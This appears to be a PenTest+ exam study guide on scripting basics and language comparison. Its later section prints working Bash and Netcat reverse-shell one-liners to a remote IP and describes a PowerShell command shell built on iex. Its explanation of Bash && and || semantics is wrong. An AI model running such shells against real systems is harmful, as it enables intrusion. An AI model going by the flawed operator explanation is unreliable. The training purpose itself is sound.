By Fatskills Exam Guides Team — the exam nerds behind 28,500+ quizzes and 2.1M practice questions across 500+ global exams.
Key topics: - Logic Constructs - Conditionals - Loops - Boolean Operators - Arithmetic and String Operators - Data Structures - Key Values and Keys - Arrays, Dictionaries, and Lists - Trees - CSV, XML, and JSON - Other Programming Concepts - Procedures - Functions - Classes - Libraries - Practical Examples - Bash - Python - Perl - Ruby - JavaScript - PowerShell - Specialized Examples - Bash Shells - Bash Automation - PowerShell Shells - PowerShell: Enumerating AD Users and Computers - Python Port Scanner - Python Encoding - Using Python to Upgrade to a Fully Interactive Shell - Using Perl to Modify IP Addresses in a File - Perl Reverse Shell - JavaScript Downloader - The basic concepts of scripting and programming, including logic constructs, data structures, libraries, classes, procedures, and functions - Shells and how to create them using various scripting languages - Analyze exploit scripts or code and understand their use - Investigate automation of basic pentesting tasks Programming languages are instructions that tell a computer what to do. Each programming language has a different approach to doing this and may implement different syntax or capabilities. Pentesters need to understand languages such as Objective C, Swift, C, Java, Kotlin, and HTML5 in order to analyze code in mobile applications. However, reverse engineers who seek vulnerabilities in programs may use Assembly, and pentesters working on platforms written in other languages may require expertise in those languages. Regardless of specialty, pentesters often find a need for familiarity in a few scripting languages.
These scripting languages are important for navigating Windows and Linux OSs, automating penetration testing tasks, and common development of exploits.
The CompTIA PenTest+ exam focuses on assuring you have basic literacy in seven languages: Bash, Python, Perl, Ruby, JavaScript, Python, and PowerShell. Y
In this guide, we will introduce programming concepts you will need to demonstrate literacy in these languages. We will discuss logic constructs; data structures; and functional program components like libraries, classes, and procedures with examples in each applicable language. Then we will delve into practical examples of code and walk you through analysis of the code. Logic Constructs Logic constructs are decision points in the code that cause differences in execution based on specific circumstances. These come in the form of conditional statements, loops, boolean operators, string operators, and arithmetic operators. Before we get into practical programming examples, let’s talk about some of these logic constructs. We’ll start with conditionals. Conditionals Let’s say you write a script to read a file that has IP addresses, hostnames, and CIDR ranges in it. If the line from the file has an IP address, you want to print the IP address. If the line has a CIDR range, you want to expand all the IP addresses in that range and print those. If the line has a hostname, you want to perform a lookup for the IP address of that hostname and print the IP address. You need your script to take a different action based on the condition it encounters. Programs make decisions like this by using conditional statements, expressions, and constructs. Some common conditionals are if statements and case and switch statements. Our introductory example would be fairly simple to implement using a complex if statement. This is often expressed as an else if, elseif, elsif, or elif. In Ruby, this would look something like this:
if
case
switch
else if
elseif
elsif
elif
Some languages also implement a ternary statement for this logic. A ternary statement is typically denoted by the ? and : symbols. Here’s a Ruby example that tests whether the number (in our case 6) is less than 10. If it is, it will return true and then print “true.” If it is not, it will return false and then print “false.”
Another implementation is a switch or case statement. Since Python has complex if statement logic, it doesn’t bother to implement case or switch. However, Bash, PowerShell, Ruby, and JavaScript each have some implementation of either case or switch. In Bash and JavaScript, these statements will compare for exact matches, but not a condition. You won’t say “in the case our number is less than 10…,” but rather “in the case our number is 9, do X. In the case our number is 8, do Y.” Other languages, like PowerShell are a little more flexible:
In this example, the variable $_ contains the value that is sent to the switch statement—in this case, 8. The switch statement prints “small” if that value is less than 5, “medium” if it is greater than 5 but less than 10, and “large” if it is greater than 9. In this case, the switch statement would print “medium” since we used the number 8. Note: : To read more about the various conditional operators in PowerShell, read the Microsoft document “about_Comparison_Operators” for PowerShell 7.1: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comparison_operators?view=powershell-7.1 Loops Loops tell a program to perform a set of actions repeatedly. In general, a loop has two parts: a conditional statement that determines when the loop should stop and a loop body containing the actions that are performed during each cycle through the loop. The conditional statement determines the kind of loop. For example, you may loop until a condition is met, loop while a particular condition exists, or loop a specific number of times. Let’s take a closer look at one type of loop: the for loop.
until
while
for
for loops are generally used to iterate over a list of items.
This could be lines from a file or a range of numbers, for example. A loop continues until the condition at the beginning of the loop is met. However, the conditions of the loop are not the only way loop iteration can end. A loop can also be interrupted by the code inside the loop body. Most languages implement something similar to a break statement, which signals to the program that loop processing should stop at that point and the rest of the code should execute. JavaScript’s for loop looks like the following:
break
This sets num to an initial value of 0. Then it adds 1 to num each time the loop completes, and it continues to execute as long as num is less than 5.
Each time it loops, it prints the value of num to the screen. Since JavaScript is a web-based programming language, it can write things to HTML code, alert windows, or the JavaScript console. It doesn’t typically print or echo things to the screen. In this case, we’re using document.write() solely for testing purposes. Tip: Loops are recognizable by having a conditional statement and the presence of for, until, or while surrounding a body of executable code. Boolean Operators The boolean operators most languages implement are AND, OR, and NOT. These are often represented as &&, ||, and !, respectively. Let’s look at this in Bash. Each command you run will return some value. It will either be successful (true) or it will fail (false).
document.write()
If we use grep to search the /etc/passwd file for a user called “rick,” it will return true if it finds an account called “rick” and false if it can’t find it: grep "rick" /etc/passwd
grep
/etc/passwd
grep "rick" /etc/passwd
Using a boolean AND operator, we could do the following: grep "rick" /etc/passwd && echo "User found!"
grep "rick" /etc/passwd && echo "User found!"
If the grep command succeeds, it will return true. A boolean AND operator will force the echo command to execute successfully as well (true) and print “User found!” to the console. If the grep command fails, the echo command will also be canceled. With a boolean AND, both statements must complete with the same status. If the first command is true, then the second command is true.
echo
If the first command is false, then the second command must also be false. If we implement this with a boolean OR operator: grep "rick" /etc/passwd || echo "User not found!"
grep "rick" /etc/passwd || echo "User not found!"
If the grep command succeeds (returning true), the OR operator will force the echo to be unsuccessful (false), meaning nothing will echo. If the grep command fails (returning false), the echo command must succeed (returning true) and it will print “User not found!” to the screen. With a boolean OR, both statements must complete with a different status. If the first command is true, the second command must be false, and vice versa.
You could chain these together much like a ternary operator and do something like the following: grep "rick" /etc/passwd && echo "User found!" || echo "User not found."
grep "rick" /etc/passwd && echo "User found!" || echo "User not found."
For a boolean NOT operator, we can choose to execute if a condition is not met. Sticking with Bash, the following example uses an if statement to test whether the file “error.log” exists, and if it does not, it creates it using the touch command: Arithmetic and String Operators Arithmetic operators are for performing mathematical calculations. Addition, subtraction, division, multiplication—you get the idea. Using Perl at the command line, this will output 10: $ perl -e 'print 5+5'
touch
$ perl -e 'print 5+5'
String operators are designed to do things like format a string, concatenate multiple strings, perform string substitution, remove characters from the end or beginning of a string, and match all or part of a string. We’ll show some more examples of this in the “Practical Examples” section later in this guide. For now, let’s look at two quick one-liners in Perl that will illustrate the concept of string operators.
Assume you have a file that has a list of usernames in it, and the end of each line has a newline at the end of it. Your script will read these usernames and add them to the system. However, you don’t want to create a username with a newline at the end of it. If you want to use the usernames from the file in your script, you will first need to strip the newline from the end.
To do this in a one-liner, you could cat the file in Bash, redirect it to a Perl command line, and then chomp the string, like so: $ cat usernames.txt > perl -e 'while (<>){chomp($_); adduser($_)}'
cat
chomp
$ cat usernames.txt > perl -e 'while (<>){chomp($_); adduser($_)}'
In Perl, the chomp function removes trailing newline characters from the string. In the preceding example, $_ is a special variable that represents the data sent to Perl from our cat command. This is a perfectly acceptable example of string manipulation, but let’s look at one more example.
Assume you are testing an application for the existence of a buffer overflow. To do this, you want to print the letter A 500 times and send it to the login form. You could type this by hand, and it would take approximately forever. Or you could do it with a string operator in Perl from the command line: $ perl -e 'print "A" x 500'
$ perl -e 'print "A" x 500'
There are numerous other string operators. We can’t cover every one here, but the various programming language references contain thorough documentation of each language’s implementation of string operators. Note: : Here are some references for each language regarding string operators:
Python: https://docs.python.org/3/library/string.html Perl: https://perldoc.perl.org/perlop PowerShell: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.1 Ruby: http://docs.ruby-doc.com/docs/ProgrammingRuby/html/ref_c_string.html Bash: https://tldp.org/LDP/abs/html/string-manipulation.html JavaScript: https://www.w3schools.com/js/js_operators.asp Data Structures Data structures provide a way to store and express data for ease of use by programs. These establish formats for data, define relationships between different data values, and determine what can be done with those values so that programs can use the data effectively. In this section, we’ll introduce a few concepts like key values and keys, arrays, dictionaries, lists, and trees at a high level. Then we’ll look at three common data formats: JSON, XML, and CSV. Key Values and Keys A key is a unique identifier that a program can use to reference some item of data (the key value). Using these key-value pairs, applications can get to the specific piece of data that they are looking for without having to look at every piece of data. These key-value pairs have different names depending on the language. They can be known as associative arrays, dictionaries, and hashes. Regardless of what they are called, the primary benefit of these data structures are that they take two related pieces of information and allow them to be associated together. Arrays, Dictionaries, and Lists If you want to keep track of what groceries you want, you could use an array of milk, eggs, apples, and frozen pizza. Arrays are either fixed- or variable-length groups of data that are indexed sequentially. Sometimes, we want to make sure that an array stays in order, and arrays are not inherently ordered. Lists are ordered, however, and are used similarly to arrays. We would use them when building a shopping list based on the order we shop in the store. We would likely want to get apples first, then eggs, then milk, and then frozen pizza last. The array may not keep these in the same order once they are added, but a list will maintain order.
Dictionaries use a key:value pair. The key is always a single value, but the value may be a single item, a list of items, or even another dictionary. If we want to keep track of our favorites for shopping, we may want to say that our favorite apple is granny smith, but we may have two favorite pizzas: pepperoni and supreme. A dictionary can keep track of both of these things because each key has a direct relationship to another piece of data, either a string or an array. This might look like this in Python: favs = {'apple': 'granny smith', 'pizza': ['pepperoni','supreme']}
favs = {'apple': 'granny smith', 'pizza': ['pepperoni','supreme']}
And then we can access our favorites by using the key for the value we are looking for: Trees Trees allow us to keep track of sorted data easily. There are two ways we can sort data: on access and on addition. Trees let us get to the sorted data more quickly because all of the expensive sorting operations happen upon insertion of the data. Trees are different from other data structures because they have a root node, one that you always start with, and then from there the data is linked off of that node.
This figure helps us to think of this like categorizing animals. Animals would be the root of your tree, and then we might categorize the animals by two-legged and four-legged animals. From there additional categorizations could be made, and each node that is traversed gets us closer to the data that we are looking for. Figure: Tree diagram CSV, XML, and JSON One of the challenges of interoperating between applications is sharing data. While inside a specific application, a data structure can easily live in its native form such as a dictionary or an array. However, because each language and application may deal with a data structure differently, it’s important to be able to share the data in a common format. Let’s talk about three data formats: CSV, XML, and JSON.
Comma-separated value (CSV) uses commas to separate values in the data store. A list of people may include attributes like first name, last name, address, and city for each entry. Tools can easily read these values from a CSV if the first line of the CSV includes the field names and each subsequent line has the values for each record separated by commas. One example might look like this:
This is easy when the data is all the same, but what if your data doesn’t have a consistent structure? Extensible Markup Language (XML) is for well-documented data types that need to be consistent.
Here is one way to represent the preceding data in XML:
The overall structure is a list of people called “PersonList.” Each person is separately listed, and the attributes for each person are labeled using tags. Tags have a beginning and end value, and the document may even have a document type definition (DTD) that will explain how an XML document needs to be organized and what fields are valid. XML has a lot of overhead associated with it, but it is easy to validate that data is valid or not.
JavaScript Object Notation (JSON) is a little better for freeform data types and is a favorite for data exchanges. JSON is common for web transactions between frameworks because it is easily interpreted in browsers and across other languages. Multiple back-ends written in different languages can all easily understand JSON with limited overhead of creating script definitions of what is valid or not.
Let’s extend our earlier example with people. What if we had individuals in different countries and we wanted to know what state or province the city is in? JSON can easily deal with this like the following: Our two people are in different countries. In Canada, the city may be grouped by provinces. In United States, the city would be part of a state. JSON can handle this seamlessly, and it will be up to the application handling the data to understand the differences. We have two different types of data in this JSON object, the curly braces indicate it’s an object, and the brackets indicate that it is part of an array.
The format you use will depend on the data structures that you are using and what the sensitivity is to differences.
CSV doesn’t deal with differences in data easily, XML is OK with differences as long as they are allowed as part of the data format, and JSON can be anything as long as you can express it in a data structure type that JSON can understand. Other Programming Concepts Now that we understand how data is handled and some of the key logical and semantic constructs of languages, it’s important to understand some of the ways that applications can be organized to make them more manageable and able to support concepts such as code reuse and data organization. Not every language implements these concepts equally, but for those that do, let’s talk about procedures, functions, classes, and libraries. Procedures Procedures group instructions together that may need to be executed multiple times. Procedures don’t typically take additional options; they only contain code to perform a series of logical steps. If you frequently need to delete all of the files out of the /tmp directory that are older than 24 hours, you might make a procedure to perform that task.
Procedures don’t return data, so their use is limited to repetitive tasks. A common procedure that an application might use would be to print out the usage options of an application so that if any of the options don’t validate properly, it will print out the same way each time. Here is an example in Ruby of a sample usage procedure: Functions Functions are used when you have a repetitive task that needs to take input to the task or provide usable output from the task. You might make a function to determine if a JSON string is valid by providing the JSON string as an argument. You process the validation. Then, the function returns true if the JSON string is valid or false if it is not. JavaScript would implement this similarly to the following:
Our isValidJSON function takes a string called “JSONstring.” The try statement says “try to parse the JSON into variable a.” If it works, then it will finish the statement and return true because it is valid. If the JSON parsing fails, the catch statement will catch the error and return false, letting us know that it was invalid. Let’s try it out:
isValidJSON
try
catch
We can see that when we specify our JSON string, it successfully parses, so it works. Let’s try one that doesn’t.
We didn’t see any errors, but we did see that it returned false. The try/catch statements handled the errors for us. If we had just tried to parse this directly, we would have gotten an error:
try/catch
We may use this function regularly to test the validity of data before the program submits it. Making a function allows us to reuse that code instead of repeatedly rewriting it and the error handling. Classes Classes are a programming tool that is used to keep data, functions, and procedures related to that data together. By keeping these things together, we can keep all of the code relating to that type of object in one place. By keeping the related data together, you can make sure you are updating it only once. We don’t have to write functions for dealing with the data multiple times when we reuse this data within an application. In addition, when the contents of the class change, it will be able to be changed everywhere in the application. This is also handy when you may want to add in more error handling, validation, or manipulations to a piece of data.
Maybe a person has a first name, a last name, and an address. This type of data will be used throughout an application. You might create a class, so that everything that deals with a person can reference the same data structure. Doing so would also keep together the code relating to that person. Then, when you need to get the first name, you can do it in a consistent way. Python would do this as follows:
We have created a Person class that has an init function that will be called when a new object is created. The options passed to this function are used to automatically set the variables for the object. Each of them has a “None” default value, so you can specify as many of these as you’d like when defining a Person. In addition, it is common for Classes to have get and set functions that will return the data for any of the items or set the values for those that are allowed to be set. In addition, some functions may have additional logic, such as the getName function, which combines the first and last name together to return a singular name. Let’s look at this in action.
init
get
set
getName
Here, we create a new person called John Doe. We can print out the first name, change the first name to Jane, and then print out the new value. Because all of this is part of a singular class, we can add validation to any of these functions that will follow our class wherever else it is used, making sure that it is consistent throughout the application. Libraries Sometimes we may need classes and functions outside of the piece of code we’re working in. By using libraries, the code can be used across multiple files or projects the same way. Many libraries are built into languages because they are things that everybody will need. Others need to be included. Sites like pypi.org and RubyGems.org are indexes of packages that contain libraries that others can use in their applications. This makes it easy to update code across multiple projects when necessary. Many people may need to communicate with a database server, so making a library that does all the hard work benefits everyone. This library will likely include multiple classes, functions, procedures, data elements, and other information. We don’t have to deal with all of those directly, though. We don’t need to know all the details of how it is communicating to a database server. We only want it to work when we call db.connect(). Most programming languages have the concept of libraries; however, some languages, like Bash for instance, don’t really use them. Instead, you can specify files that can be included into another file. When you do this, they are not treated hierarchically like they would be in Python or Ruby. Regardless of what type of data structures you are dealing with, packaging them together into bundles makes sense because it increases consistency across programs and projects and allows you to easily reuse instead of rewriting code. Understanding libraries is critical for larger projects and projects you intend to share with others to use in their projects. Practical Examples The PenTest+ exam objectives require you to know how to analyze a basic script in Bash, Python, Perl, Ruby, JavaScript, and PowerShell. In an effort to prepare you for that, we have included a basic scripting example in each language that you can use to compare them and see some of the previous structures in action. In the following section, we will address specialized examples in each language.
db.connect()
Before we get into the examples, we need to introduce the shebang. We know what language a script is written in based on the file extension, right? If it’s .py, it’s Python. If it’s .sh, it’s Bash. If it’s .rb, it’s Ruby, right? Not so fast. That’s how Windows does it, but that convention didn’t start in *nix. Not only are hackers lazy and don’t always put file extensions on their scripts, but systems can have multiple versions of a language installed.
How do you know when to use Python2 vs. Python3? In *nix-land, the first line of a script will typically include what is colloquially referred to as a hash bang or a shebang: #! This first line will define the absolute path to the scripting interpreter: #!/usr/bin/bash
#!/usr/bin/bash
Since the file extension and the shebang give away the language, you probably won’t get these clues during the exam. Instead, you’ll need to understand enough about what is going on in the given code example to choose what code is missing based on the syntax. To prepare you for this, we won’t include the shebang or file extension in our examples either. But if you look online for other examples, you might see it, and we figured we’d explain why we didn’t include it.
Without further ado, here is a basic script in each language that does the following: 1.: Retrieve a JSON file “users/list” from a web location. This is what our file looks like: 2.: Parse the contents of the JSON file by: a.: Checking the value of “success” and only proceeding if the value is true. b.: Checking the value of “count” in the JSON file (this should correspond to the number of records to be parsed) and only proceeding if the value is more than 0. c.: Then for each entry in the JSON file, it creates an entry in a comma-separated array. 3.: The script will then print the count value and, using a loop, it prints each value from the array (each record in the JSON file) as a comma-separated table record with the table header “First,Last,Address,City.” The output of our scripts will look like this:
Why Do We Call ! a Bang? The short answer is: it goes back to typesetting. During modern times, this terminology has been adopted by *nix folks. Just for fun, you can read more symbol names that have been used by technologists in a little piece of Internet history also known as the “Waka Waka Bang Splat poem”: https://calvin.edu/news/archive/waka-waka-bang-splat- Bash Bash is used as the shell in a lot of Linux and UNIX-based environments. However, it’s only one type of command shell. During a pentest, your target may not use Bash natively. Kali Linux, for instance, uses zsh by default. These other shells require different script syntax. If you encounter a system not using Bash during one of your pentests, you will either need to change your shell in order to use these examples or Bash scripting will only serve as a model for your efforts. Since the CompTIA PenTest+ exam will include Bash examples, we will focus only on this shell.
zsh
We have provided some further reading about other shells that you may find informational during a pentest.
We are using the variable “r” to store the response from our web request, which we make with curl. In Bash, you can assign the output of commands to a variable by using $(command). Then our script uses echo to pipe the response through the jq command, which parses JSON. We are telling jq to pull the value for “success” and store it in the “suc” variable and the value for “count” and store it in the “count” variable. Our script then checks to make sure the value of success is “true” before proceeding and checks the value of “count” and prints “No results returned” if the value is not greater than 0. Tip: To identify Bash, take note of the double equals for string comparison, the use of -gt for comparison of a number, and the if statement syntax, which begins with the keyword “if” and ends with the keyword “fi.” Also note that there is no special string concatenation operator. Our echo command to print the count simply supplies a space between the printed string and the variable, which is referenced as “$count.” Lastly, did you see that we don’t use a $ to assign a variable (e.g., “data=(value)”), but we do use a $ to reference a variable (e.g., “echo $line”)?
curl
$(command)
jq
The script stores the user values from the JSON into an array called “data.” As before, we grab the “users” values from the JSON with jq and use join() to make the record into a comma-separated list of fields for each person. It uses a newline as a separator for each record in the array. The “data” array looks something like this once this part is done:
join()
In Bash, the special shell variable “IFS” determines how Bash understands word boundaries. By default, any space, tab, or newline that Bash encounters is treated like a new record. By setting this only to a newline (\n), the script recognizes the newline as a record separator in our array, and it will print our comma-separated fields one line at a time. Note: : RedHat’s blog post “What’s Your Favorite Shell for Sysadmin Work?” talks about several shells that are available for Linux, along with some of the differences in scripting syntax between them: https://www.redhat.com/sysadmin/favorite-shell Python Python is a very popular scripting language because of its perceived ease of use and its great tutorial documentation, which makes it very friendly for beginners. It resembles a lot of programming languages, making it a good jumping-off point for people who want to pursue other languages after learning Python, and it makes an easy transition for those who are already familiar with other languages. With Python, we see our first use of a library, in this case, “requests.” In Bash, we were able to use jq to parse our JSON, and we used curl to retrieve the file. But in Python, we have to use the get module from the “requests” library to retrieve the file and store the response in our “r” variable. Then we can use the json library to parse the “r” variable into a data structure we call “data.” Tip: Python uses the term “import” for libraries, and does not end an if statement with a specific term. Instead, it uses the syntax: if (comparison) : with a semi-colon. Concatenation is done with a +, and we use print instead of echo. We also don’t use $ to reference variables at all, and we use square brackets to reference the components of our data object.
json
print
Now we can evaluate each part of the JSON object by referencing the property names of the data structure “data.” We check success, count, and concatenate the count value using a + operator; print our table header; and then loop through each entry in “users” to print our fields. Here, we’re using string formatting operators to print each value as a string (%s) separated by a comma. Anything after the final % is the arguments we plan to print in that format. You may notice that Python has less punctuation than some of the other languages. This is because Python is space sensitive. The indentations and low punctuation may help you identify Python. But mixing tabs and spaces or using them inconsistently across edits will give you a bad day. Troubleshooting whitespace errors is a whole lot of not fun. Note: : Python provides documentation of all of Python’s capabilities in the form of a comprehensive tutorial of the language, which can be found here: https://docs.python.org/3/tutorial/index.html Perl Before Python, Perl was the predominant language for admins. It was used heavily in web development as well as scripting. In pentesting, Perl is powerful because it can be used at the command line with the -e option to complement the ability of Bash and other shells. Perl is well known for its powerful ability to manipulate text through Perl Compatible Regular Expressions (PCRE).
-e
Like Python, Perl also uses modules and libraries. In our Perl script, we’re using libraries that help us use externally implemented functions to make web requests (LWP::Simple) and parse JSON.
We use the get function to retrieve the URL and store it in our “$r” variable. Then we use the JSON::decode_json method to turn the JSON response into a data object. Now we do something weird. We reference the components of the data object (like success and count) with the ->{value} syntax. We use this in our if statement to test for success and to check the value of count from our JSON. Then we print our table header and loop through all of the data values with a foreach loop. Tip: Recognize Perl by the use of the term “use” for libraries. Also, see that we are using $ to assign and reference variables. We still use == to compare strings, but we are now using > to compare numbers. Concatenation is done with a . between values to be concatenated. You also see that we have a semicolon at the end of nearly every line and that our if and foreach loops follow the syntax if(condition){ action }, where curly braces designate the end of each block. Ruby Ruby is another popular scripting language. It was probably the most popular within the pentesting community because many Metasploit modules are written in the language. Ruby calls its libraries “gems” and uses require to take advantage of their code. In our example, we’re getting help with making web requests, handling web responses, and parsing JSON from externally created functions within these gems.
foreach
require
Ruby uses the Net::HTTP.get_response gem to capture the response of the web request and store it in our “r” variable. It then uses JSON.parse to turn the response body into a data object called “data.” Once more, we reference the values using square brackets (like Python), but this time, we change the value of “count” into a string using the .to_s method so that we can concatenate it to a string. Ruby can’t mix numbers and strings during concatenation. Note, however, we do not need to use a special concatenation character inside our loop when we print the record because of how we are referencing the value inside the print statement (delimited by double quotes) as #{record["field"]}—we can simply print the variables and the commas together. Tip: Ruby uses the term “require” for libraries, == for string comparison, > for number comparison, and + for concatenation. The if statement syntax starts with “if” and ends with “end.” Loop syntax is (source data).each do |value|, where “value” is the reference inside the loop. Ruby may use print or puts to print strings. JavaScript JavaScript is a web-based scripting language best known for executing on the client side to make web pages more interactive. It is common in web drive-by attacks, downloaders, and browser hooks. JavaScript uses semicolons at the end of each statement (or instruction). You’ll notice that our semicolons aren’t consistent. That’s because JavaScript will perform Automatic Semicolon Insertion (ASI) in the background, making semicolons somewhat optional. You can read more about the conditions under which this occurs here: https://dev.to/adriennemiller/semicolons-in-javascript-to-use-or-not-to-use-2nli
Net::HTTP.get_response
#{record["field"]}
Runtimes execute your scripts and determine what global objects are accessible. There are several JavaScript runtimes. Each browser has a runtime environment that runs front-end applications, for example. This includes the engine that executes the script and the web APIs that determine how the browser fetches and interacts with data. There are also server-side runtimes for full-stack development using JavaScript. Our example uses Node.js (https://nodejs.org/en/), a server-side JavaScript runtime. Since this is a server-side runtime, we aren’t writing to windows or alerts, but to the console. You may see other script snippets in other runtimes, so don’t get too dependent on using the function and API names as a key to identify JavaScript based on this example. Keep in mind that our implementation is for illustrative purposes.
It’s not the only, or even best, way to implement this, but it should give you enough context to get you started with recognizing JavaScript.
Our script uses require to read JavaScript from an http module that gives us the ability to make web requests and manipulate them. We are using const to define a reference for this data as a variable that won’t be changed by the rest of the script. Otherwise, JavaScript uses “let” to assign variables. This lets us do http.get to use the get function we read in from the http module to make web requests and store the response. Node uses .on to register an event handler to parse the JSON when the response comes back and assign the parsed result as “data.” The try/catch syntax gives us some basic error handling. We test the success and count values, then iterate the values inside “data” with a for loop, writing the results to the console. Tip: JavaScript uses == for string comparison, > for number comparison, and + for concatenation. Our if statement syntax starts with “if,” and the content is denoted with curly braces. Loop syntax is for(comparison){. Instead of printing, echoing, or using puts, JavaScript writes to the console with console.log or with a test writing to a document with document.write. PowerShell PowerShell is to Windows what Bash is to UNIX and Linux. PowerShell is a Microsoft scripting language that is useful for performing administrative tasks when you have access to a Windows system. It can make interacting with Active Directory and the automation of tasks easier as well. In our later examples, we’ll show how this plays into attacks during a pentest. As most of the content is similar to syntax we’ve already covered in other languages, we won’t explain this one in depth. But we do need to make two notes to help you understand something a little weird here.
http
const
http.get
.on
for(comparison){
We are using the Invoke-RestMethod (irm) cmdlet to make our request, which will store the result as a data structure called “data.” PowerShell does have for each loops, and they look similar to the syntax from other languages: for each ($variable in array){ do stuff }. However, in our example, we are using the $object.value | ForEach-Object{ do stuff } syntax. T
for each
for each ($variable in array){ do stuff }
$object.value | ForEach-Object{ do stuff }
his is PowerShell pipelining. It is passing the object to the loop for processing. Tip: PowerShell uses -eq and -gt for string comparison and for number comparison and + for concatenation. PowerShell also uses Write-Host to do our printing to the screen. Our if statement syntax starts with “if,” and the content is denoted with curly braces. The for each loop uses the $data.users | %{ commands } format. Specialized Examples Now that you’ve seen the same thing implemented in the various scripting languages, let’s dig into some specialized examples that you might use during a pentest. Each of these examples covers a specific use case or scenario that is pertinent to real-life penetration testing. Bash Shells There are many ways to set up a command and control shell in Bash. We can’t cover every possible permutation here, but we would be remiss not to include several examples using Netcat and other common *nix commands with Bash. Bash Reverse Shell The following script requires privileged access, as you are attempting to use the TCP device directly. The -i flag makes the shell interactive. &> redirects the standard output and standard error from the shell to the TCP connection. The 0>&1 part reads standard input from the TCP connection. bash -i &> /dev/tcp/10.0.123.1/8675 0<&1 Note: : /dev/tcp does not exist on all *nix distributions. This may or may not work depending on your target. Using Netcat The following line uses Netcat to serve over the IP and port supplied: nc -e /bin/bash 10.0.123.1 8675 Or you could set up a Netcat listener: nc -u -lvp 4242 Note: : Netcat does not exist on all *nix distributions, and when it does, different versions may implement different flag options. Keep this in mind, as this may or may not work depending on your target. Note: : To learn more about Netcat (nc) and its various flags and uses, check out the man page at https://man7.org/linux/man-pages/man1/ncat.1.html. More Bash Shells In this example, 867 is a randomly chosen number. We’re opening this randomly numbered file descriptor and reading and writing to it using exec, redirecting input and output to and from the TCP socket we create by accessing /dev/tcp directly. 0<&867;exec 867<>/dev/tcp/10.0.0.1/4242; sh <&867 >&867 2>&867
Write-Host
Netcat
-i
&>
0>&1
bash -i &> /dev/tcp/10.0.123.1/8675 0<&1
nc -e /bin/bash 10.0.123.1 8675
nc -u -lvp 4242
exec
/dev/tcp
0<&867;exec 867<>/dev/tcp/10.0.0.1/4242; sh <&867 >&867 2>&867
The -l flag tells Bash to act like it had been invoked as a login shell. In contrast, the -i flag sets up Bash to be interactive. /bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
-l
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
You can even set this up with a loop. As before, 7 is an arbitrary number we use for a file descriptor. Note: : There are numerous examples of shells using various techniques in Swissky’s GitHub repo “PayloadsAllTheThings”: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md Bash Automation We talked about Nmap output file formats in this guide. One of those was the greppable file format. Let’s take a look at how we can use Bash to turn greppable Nmap results into something we can use for the next phase of our pentest, starting with a basic ping scan to see what’s up on the network: $ nmap -sn 10.10.0.0/24 -oG ping-scan
$ nmap -sn 10.10.0.0/24 -oG ping-scan
This creates a greppable file:
Now we can make a target file with all of the responding hosts by using awk to print the second entry delimited by tabs or spaces and redirect it to a file called “targets.txt”: $ cat ping-scan.gnmap | grep "Status: Up" | awk '{print $2}' > targets.txt
awk
$ cat ping-scan.gnmap | grep "Status: Up" | awk '{print $2}' > targets.txt
That leaves us with a file with only the IPs, one per line. Now let’s feed that into Nmap to do a basic port scan. We’ll use -iL to use our targets.txt file for the Nmap targets.
-iL
Then we’ll do a fast TCP scan (SYN only) with -sS for common ports using -p such as SSH, HTTP/S, SMB, and RDP. We only care about the open ports for this.
-sS
-p
Here are our results:
We have two entries for each host, one with the overall status (Up) and one with the Ports defined by number/status/protocol//service/// in a comma-delimited format. We want to do some more investigation of our web servers. We can use Bash to create a script to test our web hosts with Nikto and use Nmap to enumerate ciphers.
Nikto’s syntax is perl nikto.pl -h <ip address> -p <port>, and Nmap’s syntax will be nmap -sV –script ssl-enum-ciphers -p <port> <host>. We want to create two scripts: one that will automatically run Nikto and one that will process our Nmap scans. To do this, we need to extract the IP address and the port for all the hosts that have a web server.
perl nikto.pl -h <ip address> -p <port>
nmap -sV –script ssl-enum-ciphers -p <port> <host>
The figure below shows how we can do this in Bash. Figure: Bash Nmap parser
We use the special IFS variable to make sure Bash doesn’t split our lines outside of a newline character. Then we pull our IP (the second item on the line) into a variable using awk. We dump the rest of the line into the “ports” variable by using awk with the tab separator to isolate the second part of the string. Then we split the string with cut by defining a colon delimiter and taking everything from the second position to the end of the line. Finally, we replace every instance of “/ “ with a ^ so that we have a definitive array separator. When we set IFS to use the karat, we can turn the “ports” variable into an array called “parray” using read. Now, we can loop through our array values. If our value contains the string “http,” we want to print the IP and the port to our Nikto file. If the value contains “https,” we also want to send it to our Nmap file. First, we have to strip some extra characters off of our port entry because we only want the number. Now we have files we can execute. All we need to do is chmod +x the resulting .sh files to automatically attack our web servers with Nikto and Nmap. Caution: If you run too many simultaneous Nikto attacks, you’re going to have a bad day. In a real-world scenario, you’d probably want to split this file into small chunks to run it. PowerShell Shells Bash isn’t the only shell we can use to establish a remote shell. The figure below shows an example of one way to do this in PowerShell. Remember, there are many ways to implement these types of scripts. Consider this as an example, and use it to understand the language syntax. Figure: PowerShell reverse shell
cut
read
chmod
x
First, we define an IP address and port combination to listen on. Then we set up a listener that will accept connections and start listening. The $listener. AcceptTcpClient() waits until someone connects and then assigns the connection to the variable “c.” GetStream() then gets the information from that client connection. Because the network communicates in bytes, we need to allocate space for our communications buffer, which we assign as variable “b.” Now we use a while loop to take action as long as data comes in. We set up an ASCII encoder to turn the incoming data into a string. If the data begins with “exit,” it will drop out of our loop and end the connection. Otherwise, it executes PowerShell using the iex cmdlet, which is short for “Invoke-Expression.” This executes the string as PowerShell and returns the value. By passing it to the out-string, we convert it to a user-readable string. It sends that string to the client. If, for some reason, an error occurred, PowerShell would send a message to the client stating that the data was invalid. Our loop will stop if something happens to the connection. So, we have to clean it up and stop the listener so that the IP address and port combination isn’t already in use if something fails and we have to reconnect. Caution: Invoke-Expression is dangerous because you don’t necessarily know what someone else has put in the string for PowerShell to execute. In this example, it’s fairly safe because it’s our shell. But you should never use this in a place where you might have reason to distrust user input. PowerShell: Enumerating AD Users and Computers Assume you have successfully phished into an environment. You have a callback from a Windows system in a domain. You want to enumerate users and other computers from Active Directory in order to identify targets and perform environmental recon. Let’s look at how we could do this in PowerShell.
$listener. AcceptTcpClient()
GetStream()
iex
